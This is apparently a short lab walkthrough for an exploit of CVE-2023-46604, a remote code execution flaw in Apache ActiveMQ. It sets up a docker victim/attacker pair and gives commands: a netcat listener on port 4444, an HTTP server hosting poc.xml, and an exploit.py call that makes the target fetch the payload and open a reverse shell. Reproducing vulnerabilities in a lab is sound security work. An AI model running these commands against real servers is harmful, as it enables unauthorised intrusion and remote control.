
Exploit for CVE-2023-46604 in Apache ActiveMQ, enabling remote code execution via crafted XML payloads and reverse shell establishment.
CVE-2023-46604

Build a docker-compose containing 2 images: the victim machine and the target machine, according to the required environment. On the victim machine, start ActiveMQ
Switch to the attacker machine: • Start an HTTP service to send the PoC: python3 -m http.server
• Use netcat to listen for connections to the attacker machine nc -nlvp 4444
• Send the payload to create a reverse shell connection to the attacker machine python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Where:
It can be seen that after executing the 'exploit.py' file, the exploit code sends a 'poc.xml' packet from the web server to the target, which is the address of the ActiveMQ service running on the target server. At the same time, the HTTP webserver on the attacker machine also receives a request sent from the IP address of the target machine.
After sending the payload, switch to the terminal that is listening on port 4444 of the attacker machine. We can see that the reverse shell from the victim machine has been received.